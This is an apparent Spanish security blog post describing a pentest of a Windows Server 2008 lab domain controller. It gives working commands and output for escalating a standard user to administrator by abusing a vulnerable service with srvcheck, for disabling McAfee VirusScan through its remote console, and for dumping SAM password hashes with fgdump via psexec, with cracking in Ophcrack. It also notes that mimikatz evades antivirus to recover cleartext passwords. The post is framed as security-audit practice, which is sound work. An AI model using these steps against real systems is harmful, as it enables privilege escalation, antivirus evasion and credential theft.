Hace un año publicamos en Hacktimes cómo se podía acceder al fichero de contraseñas de Windows y comentamos el uso de herramientas tales como fgdump que vuelcan el contenido del archivo SAM con las cuentas de usuario y sus respectivas contraseñas en formato NTLM que es preciso descifrar posteriormente (http://www.hacktimes.com/contrasenas_de_windows/). Con la aparición de nuevas herramientas como mimikazt y el paso del tiempo, el proceso ha cambiado sensiblemente las aplicaciones han ido mejorando, así como los antivirus y mecanismos de seguridad y eso nos sirve como excusa para repasar un poco los conceptos y ver de nuevo de qué forma se extrae el archivo y con qué herramientas contamos.
El archivo denominado SAM (Security Account Manager) es una base de datos de los equipos y servidores con Sistema Operativo Windows donde se guardan los datos relativos a las cuentas de usuarios, es decir, el nombre de usuario, su contraseña, grupos a los que pertenece, etc. Conseguir acceso a la SAM aunque esté cifrada es una de las partes más importantes en cualquier auditoria o revisión de seguridad ya que permite analizar la política de contraseñas y usuarios definida en el sistema y también garantizar más formas de acceso al sistema analizado.
Actualmente, existen multitud de aplicaciones (fgdump, gsecdump, pwdump, etc.) que permiten obtener el contenido del fichero SAM con toda la información de los usuarios de Windows. El proceso consiste en disponer de un acceso al servidor Windows en cuestión, disponer de privilegios de administrador para poder extraer la SAM, poder anular los diferentes mecanismos de seguridad presentes en el servidor tales como antivirus, firewall de Windows, etc. y, posteriormente y a no ser que se utilice mimikatz que extrae las contraseñas en texto claro y sin cifrar, usar Ophcrack, Raimbow Tables, L0pthcrack y similares para descifrar dichas contraseñas de usuario.
Un ejemplo práctico sería el siguiente, un Sistema Windows Server 2008 actualizado tal y como se puede ver según el resultado de Nmap jugando con los scripts (.NSE) de SMB:
Host script results:
|_nbstat: NetBIOS name: HACKTIMES-DC-01, NetBIOS user: , NetBIOS MAC: 00:50:56:9e:00:00 (VMware)
|_smbv2-enabled: Server supports SMBv2 protocol
| smb-security-mode:
| Account that was used for smb scripts:
| User-level authentication
| SMB Security: Challenge/response passwords supported
|_ Message signing required
| smb-os-discovery:
| OS: Windows Server 2008 R2 Enterprise 7601 Service Pack 1 (Windows Server 2008 R2 Enterprise 6.1)
| NetBIOS computer name: HACKTIMES-DC-01
| Workgroup: HACKTIMES
|_ System time: 2012-09-21 14:20:50 UTC+2
Disponemos de un usuario estándar en el dominio HACKTIMES sin privilegios especiales ni permisos de administrador. Ejecutamos el comando "net user hacktimes_user" desde la línea de comandos (CMD) para ver los permisos y detalles de nuestro usuario con nombre hacktimes_user:
C:\>net user hacktimes_user
Nombre de usuario hacktimes_user
Nombre completo Usuario Hacktimes
Comentario
Comentario del usuario
Código de país 000 (Predeterminado por el equipo)
Cuenta activa Sí
La cuenta expira 06/10/2012 0:00:00
Ultimo cambio de contraseña 20/09/2012 13:48:59
La contraseña expira Nunca
Cambio de contraseña 21/09/2012 13:48:59
Contraseña requerida Sí
El usuario puede cambiar la contraseña Sí
Estaciones de trabajo autorizadas Todas
Script de inicio de sesión
Perfil de usuario
Directorio principal
Ultima sesión iniciada 29/09/2012 15:48:08
Horas de inicio de sesión autorizadas Todas
Miembros del grupo local *Usuarios
Miembros del grupo global *Usuarios del dominio
*VPN_Clientes VPN Cisc
Se ha completado el comando correctamente.
Es preciso buscar alguna forma de poder obtener permisos de administrador y/o elevar los privilegios de nuestro usuario estándar para poder acceder al fichero de contraseñas de Windows (SAM). Para ello, se pueden utilizar herramientas como enum4linux, srvcheck o el propio Metasploit. A modo de ejemplo, empleando srvcheck el resultado sería:
c:\srvcheck -l -H HACKTIMES-DC-01 -u hacktimes_user -p password
...
[+] Listing Vulnerable Services...
[1394ohci] Controladora de host compatible con OHCI 1394
Status: 0x1
Parameter: \SystemRoot\system32\drivers\1394ohci.sys
[ACPI] Controlador Microsoft ACPI
Status: 0x4
Parameter: \SystemRoot\system32\drivers\ACPI.sys
...
[WwanSvc] Configuración automática de WWAN
Status: 0x1
Context: NT Authority\LocalService
Parameter: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
[+] Analyzed 436 Services in your system
[+] You were Lucky. 430 vulnerable services found
A continuación para elevar privilegios a nuestro usuario estándar (hacktimes_user) vamos a ejecutar comandos "net localgroup administradores hacktimes_user /add" a través de uno de los servicios vulnerables, en concreto el servicio "browser":
C:\>srvcheck3.exe -H HACKTIMES-DC-01 -m browser -c "net localgroup administradores hacktimes_user /add" -u hacktimes_user -p password
...
[+] Trying to connect to remote SCM
[+] Host: \\172.16.0.130\IPC$
[+] Username: hacktimes_user
[+] Password: password
[+] Checking if remote host is alive...
[+] Host HACKTIMES-DC-01 resolved as 172.16.0.130
[+] version: Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[+] version2: Windows Server 2008 R2 Enterprise 6.1
[+] Remote OS Fingerprint (06.01)
[+] Network Connection OK
[+] Stopping previously running instances...
[+] Sending custom commands to the service
[+] The service have been succesfully modified =)
[+] Service Opened. Trying to Start... (wait a few seconds)
...
Con esto se ha conseguido añadir nuestro usuario llamado "hacktimes_user" al grupo de administradores locales del servidor. No obstante, vamos a comprobar que realmente es así iniciando sesión, por ejemplo, mediante Terminal Server que está ejecutándose en el servidor y verificamos que disponemos ya de acceso para el propio Terminal Server y que el usuario ya pertenece al grupo de usuarios administrador del equipo:
c:\whoami (vemos que el usuario con el que hemos conectado es hacktimes_user)
hacktimes_user
c:\net localgroup administradores (vemos los usuarios que pertecenen al grupo de administradores del equipo, hacktimes_user incluido)
administrador
hacktimes_user
...
Se ha completado el comando correctamente
Ya se dispone de acceso al Servidor y privilegios de administrador para poder obtener el fichero de contraseñas de Windows (SAM). Antes, es preciso saltarse los diferentes mecanismos de seguridad presentes en el servidor, en este caso, el antivirus Mcafee VirusScan versión 8.8 que detecta cualquier programa que queramos utilizar para volcar el contenido de la SAM como malware y lo bloquea ya sea fgdump, pwdump, gsecdump, etc. tal y como se puede observar en las siguientes capturas de pantalla:

Fig 1. Captura de pantalla con el detalle del antivirus de Mcafee presente en el sistema

Fig 2. Captura de la detección que se produce al intentar ejecutar y copiar en el servidor herramientas como fgdump
Con mimikatz el proceso se facilita bastante ya que los antivirus no lo detectan como malware y, por tanto, no lo bloquean. Además, las contraseñas se vuelvan en claro porque no intenta acceder a la SAM sino que obtiene los datos de las sesiones activas en el sistema y de aquellos inicios de sesión que se vayan produciendo. De esta forma, no se necesita posteriormente ejecutar "password cracking" con Ophacrack o herramientas similares para conseguir las diferentes contraseñas de usuario:

Fig 3. Escaneo en virustotal de la herramienta de mimikatz
Para desactivar el antivirus y poder ejecutar fgdump, por ejemplo, lo más fácil es acceder a otro equipo (hemos conseguido permisos de administrador del dominio) y mediante la opción de consola remota del VirusScan, conectar a la consola del equipo analizado donde se quiere obtener el fichero SAM y desmarcar la opción de "Impedir que los servicios de Mcafee se detengan". Ahora ya se puede ejecutar fgdump incluso de forma remota con pstools.

Fig 4. Acceso a la consola del antivirus VirusScan de Mcafee

Fig 5. Desactivación de la opción de apagado de los servicios de Mcafee
El propio fgdump (http://www.foofus.net/~fizzgig/fgdump/) ya es capaz de desactivar los servicios de Mcafee una vez que se ha activado en la consola remota de VirusScan la posibilidad de detenerlos:
c:\psexec \\HACKTIMES-DC-01 -u hacktimes_user -p password -c -s "c:\fgdump.exe"
Esto genera un archivo con nombre "127.0.0.1.pwdump" con los datos e información de las cuentas de usuario y las contraseñas cifradas en formato NTLM. Ahora, simplemente importando dicho fichero en Ophcrack o alguna herramienta similar para analizar las contraseñas y esperando lo suficiente, los passwords irán cayendo en función de su complejidad y robustez.
Para más información acerca del funcionamiento de mimikatz se puede recurrir al artículo de Alejandro Ramos de Security by Default en el que explican en detalle el uso de la herramienta:
http://www.securitybydefault.com/2012/07/volcado-de-contrasenas-con-mimikatz.html
Para más información acerca de las diferentes herramientas para analizar las contraseñas de Windows existe un genial documento de Bernardo Damele (http://bernardodamele.blogspot.com.es/) donde repasa todas las aplicaciones existentes y las diferentes opciones de cada una de ellas:
https://docs.google.com/spreadsheet/ccc?key=0Ak-eXPencMnydGhwR1VvamhlNEljVHlJdVkxZ2RIaWc#gid=0
Página de descarga de srvcheck: http://www.tarasco.org/security/srvcheck/index.html
Página de descarga de ophcrack: http://ophcrack.sourceforge.net
Página de descarga de las pstools: http://technet.microsoft.com/en-us/sysinternals/bb896649.aspx


Comentarios
Añadir comentario